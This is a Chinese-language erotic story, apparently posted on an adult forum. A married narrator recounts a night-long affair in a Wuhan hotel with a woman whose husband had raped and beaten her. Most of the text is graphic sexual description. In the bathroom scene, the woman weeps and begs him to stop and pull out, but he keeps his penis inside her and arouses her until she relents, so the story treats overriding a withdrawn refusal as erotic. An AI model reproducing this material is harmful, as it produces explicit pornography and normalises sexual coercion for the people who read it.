  粗大的阴茎在她嘴里一阵的剧烈发射过后,我长长地呼出了一口气,人松弛

了下来,射精后的阴茎还塞在她的嘴里,她的嘴里含满着我射出的精液。


  她仰起脸看着我,张开了嘴,让我看着她嘴里含得满满的白色精液,然后吐

出精液,伸出舌头轻轻舔了几下还在跳动涨鼓着的阴茎,把它含进嘴里,缓缓地

吞吐着用舌头上下舔卷,直到他变软变小。


  相拥着躺回到床上,极度的舒适和疲劳,让我们不知不觉地睡了过去。


  “叮咚”轻柔的门铃声惊醒了一对酣睡的鸳鸯,看看表,已是六点半。“起

来吧亲爱的,都睡了四十分钟了,餐厅送饭来了,”我捏了捏她的鼻子,一边说

一边裹上了酒店的浴衣。


  打开门,在帐单上签了字,我谢绝了服务员的进房摆餐服务,自己把餐车推

了进来,宁也起来了,看着她裹着童谣的浴衣,带子还没有系好,半露着硕大的

乳房,头发微乱,睡眼惺忪,脸上还带着没有完全褪去的红晕,心中不禁暗乐,

她算情妇?怨妇?还是荡妇?我实在搞不清楚,也没必要搞清楚。


  饭菜的香气让我们暂时停止说话,狼吞虎咽的大吃起来,不到二十分钟所有

的盘子里就干干净净了,把餐车推出门外,坐在沙发上,倒上一杯红酒,宁又媚

笑着坐进我的怀里。


  女人真是奇怪,一旦和男人有了性的关系之后,就在没有任何的禁忌,再淫

荡的的话,再淫荡的动作,再私密的话题,在这个男人面前都可以说,都可以做,

都可以探讨。


  原来,宁的丈夫自从跑上长途货运以后,每次回家都像饿狼一样,不管几点,

不管有什么事儿,一定先把宁拉到床上,不射出两三次不罢休。


  宁知道老实本份的丈夫在外面不敢沾花惹草,三十几岁的壮男人一出去就是

十几二十几天,憋得实在是受不了了,自己尽一个妻子的义务也是应该的,所以

开始的时候都极力奉承,尽管自己毫无兴趣,身体也没有准备好,干涩的阴道经

常被抽插的肿痛异常。时间长了,身体吃不消,有时候就哀求丈夫用嘴给他做出

来。


  刚结婚的时候宁还是个什么都不懂的小姑娘,为了提高房中的乐趣,丈夫不

知从哪里找来了好多的色情光碟,晚上,夫妻俩经常是一边看光碟一边做爱,不

到半年,宁练就了一身让男人抓狂的床上功夫,尤其是一张小嘴,不用手,只凭

一张嘴就能让丈夫狂泄。以前丈夫得求她,她心情好的时候才能让丈夫爽上一次,

本想现在用这一手功夫既满足丈夫,又能让自己少些痛苦,可没想到,丈夫憋得

日子太久,每次用嘴出来一次以后还不满足,还要接着做,宁的痛苦一点儿没少

受。慢慢的,她的心里就产生了对性爱的排斥,进而对丈夫也产生了排斥,每次

丈夫再回来,夫妻俩常争吵不止。


  就在我到武汉的前几天,她的丈夫也回来了,照旧她刚一下班回家就把她拉

进屋里,当丈夫那坚硬的肉棒如同一把尖利的匕首一样刺进她尚未湿润的阴道的

时候,无以伦比的刺痛让她惨叫一声,双脚一蹬把丈夫从身上直接踹到了床下,

丈夫在地上愣了半天,突然大骂着窜上了床,从不曾对宁动粗的丈夫,此时像一

头狂暴的野兽一般,对宁拳打脚踢,如果不是公婆听到宁的惨叫声过来察看的话,

宁觉得那天自己就会被打死。


  婆婆那天破天荒地没有指责宁,只是不断地叹气,面对父亲的责骂,丈夫摔

门而去,再没有回家。我到武汉的第二天,宁的公公打电话到她丈夫的单位,才

知道他已经出车了。


  我刚好在她感情上最苦闷的时候出现,英俊的面容,幽默的谈吐,广博的学

识,高超的交际能力,还有对女人不经意间的体贴(各位狼友别砸砖头啊,这是

她说的不是我说的啊),让她心里出现了一道闪光,同这个男人相比,自己的丈

夫原来是那样的粗俗,不学无术,胸无大志,虽然本份老实,也被那一顿的家庭

暴力冲抵得无影无踪了。


  听着她如泣的诉说,我的心中升起一股爱怜,我知道她的情况只是中国千万

家庭的一个缩影,宁的丈夫忍耐着心里的孤独和生理的欲望,为了家庭奔波在无

尽的公路上,无情的客观现实造成了他的简单粗暴;作为女人的宁,需要男人的

爱抚,和温情的滋润,谁能说她的要求过分?无情的现实造就了他们的悲剧,我

无力扭转…


  “你看我,罗罗嗦嗦的说些啥子哟”她突然从诉说中清醒过来,一脸的不好

意思。


  我无言以对,放下酒杯,紧紧地抱住了她。她也回抱住我,双手在我的后背

摩挲着,我们的嘴又亲到了一起。


  体温迅速的升高,呼吸急促而粗重,她的鼻腔中传来了轻轻的“嗯…嗯…”

的呻吟声,我的肉棒也开始苏醒,却被怀里的她紧紧的压着,不能充分的涨大,

感觉有点儿疼。


  下体的欲望隔着浴衣传给了她,她抬起了头,温情脉脉的看着我说“谢谢你,

今天是你才让我晓得女人的快乐,我身上头满足,心里头也满足。我晓得我们没

有明天,所以今天我要好好地珍惜,我只后悔没有把我的第一地给你。”迟疑了

一下,她仿佛下定决心似的接着说“不过幸好我还有一个地方,我把她给你”


  说着话,她站起身,褪下了浴衣,走到床边岔开双腿,弯下腰,双手撑住床

边,肥大的屁股正对着我,下体一览无余。


  惭愧啊惭愧,我的大脑竟然瞬间当机,居然没明白她的意思,就那么傻傻的

坐着一动没动!


  看我没动地方,她走过来,双手搂住我的脖子问“怎么了?不想要还是不行?”

说着出其不意的一把抓住我的坚挺,“好像不是不行哦,那就是不想了?”


  “不是,”我有点儿不好意思地回答“我是没明白你的意思”


  “苕!”(呵呵,武汉方言。苕者,红薯也,红薯实心不透,说人苕,即说

人意思不透,傻瓜也)


  看着我不明就里的傻样,她莞尔一笑,不好意思地说“你不晓得女人身上三

个洞哦?刚才被你用了两个,这最后一个,谁都没有用过,今天就给了你喽”


  狼就是狼,心头的感动很快就被欲望取代,和小周疯狂的淫糜场景一下子在

脑海里涌现出来,全身的血液向下疯涌去。我一把宁拉进卫生间,把她按在了洗

脸台前面,明亮的灯光照在我们身上,大镜子里出现了前后交叠得两副裸体。


  站在宁的身后,暴怒的肉棒直指向她的股购,随手将台面上的润肤露拿过来,

慢慢地将润肤露倒在宁的股沟之间,右手在宁股沟上不住的游走,直到整只手都

沾满了润肤露,这才将中指慢慢的插入宁的菊花蕾内。宁的后庭本能的抵抗着异

物的侵入,但是在润肤露的润滑之下,我的手指还是一下子就给插了进去,只觉

一层层的嫩肉紧紧夹住我入侵的手指头,那种温暖紧实的程度比起在宁秘洞内还

要更胜几分,更叫我兴奋莫名,不由得开始轻轻的一阵抽插抠挖,左手也在宁粉

臀及大腿上不停的抚摸,偶尔还在宁秘洞口揉搓着那小小的粉红色珍珠,不消多

时,宁的秘洞内再度缓缓流出蜜液,同时我在宁菊洞内抠挖的手指,也在润肤露

的作用下,逐渐滑溜顺畅起来。我眼见宁的后庭已经习惯了手指的动作,我也克

制不了内心的冲动,一把将宁菊洞内的手指给抽了出来,将肉棒插入宁的蜜洞内,

缓缓的抽插起来,两手更伸到宁胸前玉峰上,轻轻的搓揉着胀硬的乳头,直到宁

的呼吸再度浓浊,这才将它抽了出来,此时的宁早已被我的挑逗逗弄得欲火如炽,

强忍着胯下阳茎的酥麻感,慢慢的蹲下身,对准宁那蜜汁淋漓的桃源秘洞,就是

一阵狂吸猛舔,偶尔还移到后庭的菊花蕾处,轻轻的舔舐那嫣红的菊花蕾,两手

在宁那浑圆的美臀及股间沟渠处,一阵轻轻柔的游走轻抚,有时还在那坚实柔嫩

的大腿内侧轻轻刮动。此时的宁那堪如此挑逗,只见她背脊一挺,两手死命的抓

住台沿,高声叫道:“啊…………啊……”宁阴道蜜汁泉涌而出,在一阵激烈的

抖颤后,整个人瘫软了下来,趴在洗脸台上,只剩下阵阵浓浊的喘息声……


  我眼见宁再度到达高潮,全身无力,不觉得意万分,用手扶着湿淋淋的粗肥

肉棒,抵住宁的菊花蕾,慢慢的将肉棒给插了进去。随着粗大的龟头缓缓地顶入,

宁高高地昂起了头,臀部颤抖着迎接我的进入。


  不同于阴道小穴,菊花肛穴的直肠细而卷曲,在初期开发时要格外小心,尤

其让要对方身体放松,否则后庭的括约肌会绷得过紧导致插入时受伤。虽说经过

手指的开发以及润肤露和淫液的润滑,但毕竟和手指不同,我仍然感到不易进入,

不过为了要彻底的征服宁,我宁可慢慢的开发宁的性感带,以便一步步的将宁带

入淫欲的世界而不愿硬来。


  强忍着满腔的欲火,我开始缓缓的摇动腰部,慢慢的将肉棒一寸寸的挤入了

宁的菊洞之内,一觉稍遇抵抗,即将肉棒稍退少许,然后再继续深入,费了好一

番功夫,好不容易才将整根肉棒完全塞到宁的菊洞之内,我只觉胯下肉棒被一层

层温暖紧实的嫩肉给紧紧的缠绕住,比起在宁秘洞内的感觉还要更加的温暖、紧

实,尤其是洞口,那种紧箍的程度有如要将肉棒给夹断似的,更叫我舒爽得浑身

毛孔全开,差点就要控制不住的狂抽猛插起来。暂时停止了动作,我紧闭双目,

伏在宁的背上,静静的享受着插入的美感,直到快感稍退,这才开始缓缓的抽送

了起来,拨开宁的如云秀发,在宁柔美的粉颈及丝绸般的玉背上轻吻慢舐,两手

在玉峰蓓蕾不住的搓捻,渐渐的,我觉得肉棒的进出开始顺畅了起来,但却丝毫

不减那股紧窄的美感,再加上宁菊洞内的温度要比秘洞还要高上几分,更令我感

到兴奋,经不住那股紧实的快感,我开始逐渐的加快了抽插的速度,双手更移到

秘洞处不住的抽插抠捻……


  此刻的宁,在一阵阵酥麻痕痒的摧逼下,宁脑中仍处于一片混乱的,宁只觉

得下体谷道处,传来一阵紧涨涨的便意,想起身,却觉得全身酥软无力,腰胯之

间更被我紧紧抱住,丝毫动弹不得,只能任凭我那根热腾腾的肉棒在她的菊花洞

内不停的抽送着……


  我紧抓住宁的粉臀,一阵急抽猛送,宁何尝经历过这种阵仗,顿时心中一阵

慌乱,却又无力反抗,内心一睁恐慌,两串晶莹的泪珠急涌而出,不由得哭了出

来:“哇……不要……不行……不要啊……快拿出来……”刚才奋勇献身的英姿

早已荡然无存,那副楚楚可怜的样子,着实叫人怜惜不已。


  我看到宁这副模样,为了要彻底征服宁,也不想过分的刺激她,于是暂时停

下了胯下的动作,但仍将那根热腾腾的粗大肉棒留在宁的菊洞内,暗运内劲使其

不断的跳动,双手分别在宁的玉峰顶端以及桃源洞口的豆蔻上一阵轻揉慢捻,以

便挑起宁的情欲,边伏下身来趴在宁的背上,对着雪白的粉颈轻轻的舔吻,慢慢

的吻到耳边,一口含住宁那小香坠般的耳垂,不停的吸舔,偶尔还将舌头伸入耳

洞内轻轻的吹气,吹得宁酥麻难当,全身汗毛直竖,不禁起了一阵抖颤,口中哼

哈直喘。不消多时,宁心中已抵不住内心深处逐渐涌现的骚痒感,慢慢的,在宁

的嘤嘤啜泣声中,也开始夹杂着几声娇媚的轻哼,不久,宁甚至觉得从被侵犯的

后庭处,在我肉棒的挑动下,居然传来阵阵的酥麻快感,更是令她羞得无地自容,

口中不由得轻叫:“啊…………啊……”宁娇靥刹时浮上一层酡红,更加显得娇

艳动人,令人爱煞。


  看到宁在自己的挑逗下,开始有了反应,我兴奋的加快了手上的动作,同时

更在宁的耳边轻声的说:“宁,别害羞了,我一定会好好的侍候你,让你舒舒服

服的,你就好好的享受吧……”说完,徐徐抽出胯下的肉棒,直到快到宁菊洞口

时,再慢慢的插了进去,就这样开始慢条斯理的动了起来,嘴上手上更是毫不松

懈在宁的身上不停的恣意轻薄。


  宁的身体却无法忍受我的挑逗,一阵的酥麻痛痒袭来,后庭传来的感觉,微

微麻痛、丝丝酥痒,更叫宁慌乱不已,再加上我在全身敏感处不停的肆虐,没多

久时间,只见宁双目紧闭,樱唇微张,口中咿啊不断,玉体微微抖颤,分明已是

欲念横生。


  只见宁整个人无力的趴在洗脸台上,不时的微微抽搐,一头如云的秀发披散

在床上,由莹白的背脊到浑圆的丰臀以至修长的美腿,形成绝美的曲线,再加上

肌肤上遍布的细小汗珠,更显得晶莹如玉,看得我口干舌燥,我初尝宁菊花蕾,

再见到宁这副娇柔媚态,不由心中欲火高涨,我拨开散乱在背上的秀发,在宁的

耳边、玉颈处轻柔的吸吻着,两手从腋下伸入,在宁的玉峰处缓缓的揉搓,沉醉

中的宁,星眸微启,嘴角含春,不自觉的轻嗯了一声,带着满足的笑容,静静的

享受着我的爱抚。此刻的宁全身肌肤敏感异常,全身抖颤不已,口中淫声不断,

深深地陷入淫欲的深渊而不自觉。


  我真恨不得大刀阔斧的快意驰骋,却又怕造成宁的不快,不得不极力的压抑

住满腔欲火,只能慢条斯理的采用水磨功夫,我胯下肉棒火辣辣的涨得难受,终

于,我再也忍不住了,一把抽出菊洞内的肉棒,“滋!”的一声,有如毒蛇出洞

般猛攻入宁的桃源洞内,就是一阵狂风暴雨般的急抽狂送,宁正被我逗弄得欲念

横生,尤其是秘洞深处那股空虚难耐的骚痒感更叫人难以忍受,我这一阵猛插,

插得宁忍不住的尖声狂叫,语调中带着无尽的满足感。我看到宁在这一轮狂攻下,

全身不停的抽搐,口中淫声浪语不断,我双手紧捏着胸前玉乳,胯下的攻势丝毫

未见放松,一阵啪啪急响,直插得宁咿呀直叫,柳腰粉臀不住的摆动,有如久旷

的怨妇般,迎合著我的抽送。不消多时,宁在我这一轮猛攻之下,全身一阵急遽

的抖颤,双手死命的抓着台沿,分明就要到达顶点。


  为了给宁最高的享受,我强忍着射出的欲望一把将热腾腾的肉棒给抽了出来,

刹那间一股强烈的空虚感涌上心头,只急得宁一阵心慌,脑中一片空白,不停的

将那浑圆白嫩的雪臀往后摇摆顶动,半开着一双迷离的美目,回头对我娇媚的叫

着:“啊……快……不要……快……快……我…我要……”甚至还伸出手来,想

抓住我的肉棒,把一切抛到了九霄云外,只是一味的追求肉体的快感。


  看到宁这副饥渴的模样,我却丝毫不为所动,双手紧紧的抱住宁的柳腰,一

只热气腾腾的坚硬肉棒抵在宁的股沟之间不停的磨蹭,低头对着宁说:“我比你

老公怎么样?”火热热的阳具紧紧抵在股沟之间,熨烫得宁一阵酥酸麻痒,受不

了内心那股强烈的空虚失落感,急忙回道:“你……是你厉害,快点……我要…

…我要……快……给我……给我……”看到宁这般模样,我又将龟头对准蜜洞小

穴,一挺腰,将肉棒刺了进去,。


  “噢…”一声满足的呻吟从她嘴里哼了了出来,宁的内心深处不断袭来了阵

阵快感,而小穴深处传来阵阵有如虫爬蚁行的骚痒感,只有在我的肉棒抽动时才

能止住那股叫人难耐的骚痒感,同时带来比以前更加强烈的酥麻快感,宁的心神

一阵恍惚,只觉阵阵绝妙快感有如浪涛般汹涌而来,几乎要将她淹没,娇躯不停

的颤抖,娇喘也越来越急促,看来再也撑不了多久了,于是暗运内劲让整根肉棒

不住的抖动,将肉棒前端紧紧抵住宁小穴深处不停的厮磨着穴心嫩肉,同时更伸

出一只手捏住宁的胸前巨乳,另一只手捏住小穴口那珍珠般的小小豆蔻不住的揉

捏抓扣,这一下顿时叫宁如遭电击,全身不停的抽搐抖颤,一股强烈的酥麻快感

涌上心头,令宁不禁起了一阵晕眩,口中“啊…啊…”的大叫了起来。


  见到宁被搞得浑身急抖,浪声不绝,又将抵达高峰,我却又将目标移向后庭,

藉着先前的润滑以及淫液之助,我轻而易举的就进入了宁的菊洞之内,这一次我

可没那么客气了,甫一进入,就是一阵快速的抽送,更将左手手指插入宁的秘洞

之内不停的抽插抠挖,不消片刻工夫,后庭的菊洞之内传来阵阵快感,再加上我

手指在桃源洞内不住的抠弄,粉颈玉背上还不时传来我轻柔绵密的舐吻,阵阵快

感如浪涛袭来,宁终于完完全全的沉醉在淫欲的浪潮之中……


  从镜子里看去,宁云鬓散乱,玉雪般的纤细腰身裸露着,修长的大腿如丝缎

一般光滑,柔和美丽的线条延伸向下,腹部因我的抽插而微微抖动,,全身晶莹

的肌肤透出兴奋的粉红色,挂满了细细的汗珠,乳房因为上身弯腰向前更显得巨

大无比,因我的撞击来回的摆动,画出了一道道淫荡的弧线。双眼半闭,透出朦

胧的欲火,小嘴大张,连绵不绝的发出鼓舞男人斗志的呻吟,娇俏的俊脸在欲火

的灼烧下早已失去了平日的端庄,大片大片的红晕显示着此时成熟少妇内心对性

爱的渴求,我两手扶住她那紧挺高俏的美臀,快速地抽出,再迅速地插进去,从

紧窒屁眼传来的快感混合著直肠里被磨弄的感觉,让宁全身乏力,张大了嘴发出

“啊…啊…啊…”的呻吟声。


  我大开大阖的抽送著,两手在她丰腴多肉的屁股上来回抚摸著,那幽深的屁

眼将我又粗又长的肉棒吞没至底,肛肠肌紧紧套在我的肉棒根部,层层叠叠的嫩

肉紧密地包围著我的龟头,酥麻的感觉越来越强烈。


  宁屁眼上绯红色的嫩肉由于粗大肉棒的抽送,肛门洞口的肥美嫩肉随著肉棒

进出的动作,以极为夸张的方式翻出挤入,宁简直快要疯狂了,女人的身体看来

是那么娇嫩,似乎难以禁受任何的摧残,可是对性的攻击,再强壮的男人,再威

猛的体力,面对女人娇弱动人的躯体,似乎她们的承受力可以是无穷的。


  她被撞击著,披头散发,乳波臀浪前前后后地晃著,喉咙里发出淫浪的叫声,

同时更拼命地向后耸动自己的身子,两人的肌肤接触发出「啪啪啪」的肉体撞击

声,希望得到更大的快感,肉棒每次深深地插入她的屁眼的时候,麻痒、疼痛、

充实、排泄的感觉混合成为一种极为诡异的快感。


  她已全然地沉浸在被攻击的快感当中,肉棒的冲刺每次狠狠地贯入她后臀的

中心,都带动她那光滑白嫩的臀肉,出现涟漪般的波浪,快感从两人性器的接触

点传送到全身,极度的快感让我更加亢奋,更为有力,也让宁更为娇慵,更为无

力,她的娇艳动人的胴体软软的,好像随时承受不了凶猛的冲击而扑倒,可是又

每每能够承受住那坚硬的进入和抽出,高潮迭起的下体已经主宰两人所有的情绪,

舒畅的麻痹般的快感冲向脑顶,两个人的交合配合的一丝不乱。


  我一面开始前后耸动着臀部,阴茎在她肛门里做着活塞运动,和抽插她阴道

一样抽插着她的肛门,一面伸手去抚摸她前面鼓起肿胀的阴蒂揉动,她顿时剧烈

扭动着身体大声呻吟起来:“哎哟!啊……啊……!”


  我没有停下,继续着对她肛门的抽插,一面用拇指按住了她的阴蒂揉动,一

面又把食指和中指也伸进了她的阴道,同时另一只手的手指塞进了她喊叫着的嘴

里。


  然后我开始把粗大坚硬的阴茎一下下猛烈地前后抽动,插着她紧紧箍着我阴

茎的肛门,一只手按住了她的阴蒂揉动,两只手指同时插着她的阴道,另一只手

的手指塞进她嘴里让她含住吮吸,塞住了她的嘴,把她身上所有的洞眼都被塞满

了抽插着。


  从她肛门和阴道之间那层柔软的肉壁上,我可以感觉到自己阴茎和手指在她

肛门内和阴道里的抽动。她被叉开架高了双腿,承受着肛门里粗大坚硬阴茎和前

面阴道里手指的前后夹攻,阴蒂被不停地摸着揉着,嘴里也被手指塞满堵住,来

自全身肉腔孔洞的插入、抽动还有抚摸产生的强烈刺激和快感,让她全身开始不

受控制地抖动起来,塞着手指的嘴里开始发出和哭泣呜咽一样喊叫:“唔……唔

…………哦……唔……要死……了啦……唔……唉呀”


  看着她剧烈抖动的身体,我加快了对她的攻击。她被手指按住阴蒂抚摸和抽

动的阴道里一下流出了大量的汁液,沿着大腿直流下去,她哭喊着呻吟起来:

“唔……不行了!……啊……!”


  随着她最后的那声尖叫,她的肛门和阴道同时剧烈收缩起来,巨大的握力从

我插在她肛门里的阴茎上传来,肛门里的腔壁一阵阵收缩着在痉挛,那抽搐的感

觉比阴道还强烈有力,插在她阴道的手指也比肉棒更敏感地感觉到了那里一阵阵

激烈的抽搐。


  我本也已到了崩溃的边缘,只觉得极为刺激,被她嫩滑香软的屁眼一夹,再

也控制不住,只觉得脊椎骨一麻,肉棒使劲地一挑,精关大开,一股激流猛地释

放了出去,一滴不剩地射入宁娇小美丽的菊花蕾里。


  宁张著小嘴“呃呃”地叫著,被射得一阵痉挛,全身上下一阵扭曲和抖动过

后,整个人变成了柔若无骨一样软软地瘫在那里。软绵绵地爬在了洗脸台上,丰

盈雪白的屁股仍然毫无羞耻地撅著,享受著肉棒颤抖的余韵。


  我无力的伏在她的背上,站立式性交要耗费更多的体能,再加上短短几个小

时之内三次射精,更让我感到两腿酸软。我能感觉到我的肉棒正在迅速的萎缩,

被她依然有力的括约肌挤出了体外,但是没有感到有液体流出来,我的亿万子孙

留在了她得直肠内,至此,这个美丽俊俏,风情万种的武汉少妇的三个洞穴都被

我采过,还得到了她后庭菊花穴的开苞第一炮!


  轻吻着她的耳垂儿问:“喜欢吗?”


  她长长地叹了一口气:“嗯……好喜欢……头一次被插进后面,……真的很

刺激……真好…喜欢死了。”


  “那,哪一个洞洞更舒服?”我提了一个很淫秽的问题。


  “都舒服。”


  “怎么会呢,开始插后面的时候你不是喊疼,还要我出来么?怎么会舒服呢?”

我故意的逗她。


  “嗯,开始的时候疼得很撒,后来就不疼了,和前面的时候感觉不一样,好

刺激哟。”


  冲洗了一下,我们躺到床上,她依偎在我的怀里,枕着我的肩膀幽幽的说

“你走啦我可怎么办?”


  “好好的过日子,有机会我就会过来看你。”我说不出别的,口不对心得说出

一句我们谁都知道是很难实现的承诺。


  “唉——”她发出一声长长的叹息,没有再说话,只是更紧的抱住了我。


  强烈的倦意很快让我酣然入睡,我不知道她是什么时候走的,第二天早晨醒

来的时候已不见她的身影,只有床单上的一片狼藉说明了昨晚的疯狂。


  桌子上她留了一张纸条:亲爱的,谢谢你给予我的一切,我曾经以为我再也

没有生活的乐趣,再也享受不到做女人的快乐,是你让我又得到了这些。你是个

有魅力的男人,我很羡慕你老婆。多希望你可以不走,让我可以做你的女人,哪

怕是瞧子(当地方言,即情人,二奶是也)我也心甘情愿。但我知道你不属于我,

你有自己的生活,能得到你一个晚上我今生都心满意足了。


  你今天就走吧,我不上班了,我怕见到你就会不让你走了。


  如果以后还能来的话,别忘了,我是你的女人。


  爱你,我的男人。


  你的女人,宁。


  即日。


  我点燃一支烟,顺手也点燃了纸条,看着白纸在火焰中扭曲,在烟灰缸里变

成黑色的灰烬,我知道我的湖北情结又被加上了重重的一笔,从此恐怕再也无法

释怀……